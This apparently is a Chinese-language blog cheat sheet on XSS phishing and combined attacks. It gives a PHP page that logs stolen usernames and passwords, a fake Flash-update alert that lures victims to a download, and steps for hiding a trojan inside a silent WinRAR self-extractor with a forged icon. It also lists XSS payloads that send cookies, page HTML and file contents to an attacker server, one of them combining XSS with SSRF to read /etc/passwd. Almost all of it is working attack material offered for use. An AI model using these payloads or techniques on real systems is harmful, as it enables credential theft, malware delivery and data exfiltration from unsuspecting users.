XSS钓鱼和组合拳技巧
一.xss钓鱼
①保存账户密码的后端钓鱼网页
保存js&css到服务器,登录action改为接受密码的文件action="./pass.php"
<?php //php
$user=$\_POST\['username'\];
$pass=$\_POST\['password'\];
$file=fopen('pass.txt','a+');
fwrite($file,$user."|"."pass" . "\\n");
fclose($file);
echo "<script>window.location.href=\\"http://192.168.0.1\\"</script>\\n";
?>
攻击构造payload
<script>window.location.href="http://192.168.0.1/login.html"</script>
php –S 0.0.0.0:8080 –t ./
②flash伪造钓鱼
#https://github.com/r00tSe7en/Fake-flash.cn
添加xss平台模块
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain');
document.documentElement.appendChild(iframe);
window.frames\[0\].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低,尝试升级后访问该页面!");
window.location.href="http://www.flash.com";
#制作自解压捆绑
#一个马.exe,一个正常exe,全选,winrar添加到压缩文件,选择创建自解压格式压缩文件,高级->自解压选项,设置解压路径,c:\\windows\\temp\\,设置->解压后运行两个exe文件,模式全部隐藏,更新,解压并更新文件,覆盖所有文件。
#ResourceHacker修改文件图标
二.特殊xss和组合拳
三个
打COOKIE
<svg/onload="javascript:document.location.href=('http://xx.xx.xx.xx:7777?cookie='+document.cookie)">
读取HTML
<svg/onload="document.location='http://xx.xx.xx.xx:7777/?'+btoa(document.body.innerHTML)">
读文件
<svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://xx.xx.xx.xx:7777/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("GET","file.php",true); xmlhttp.send(); ">
ssrf+xss组合
XSS+SSRF读取服务器文件
<svg/onload=" xmlhttp=new XMLHttpRequest(); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.location='http://vps\_ip:23333/?'+btoa(xmlhttp.responseText); } } xmlhttp.open("POST","request.php",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("url=file:///etc/passwd"); ">
还没有评论,来说两句吧...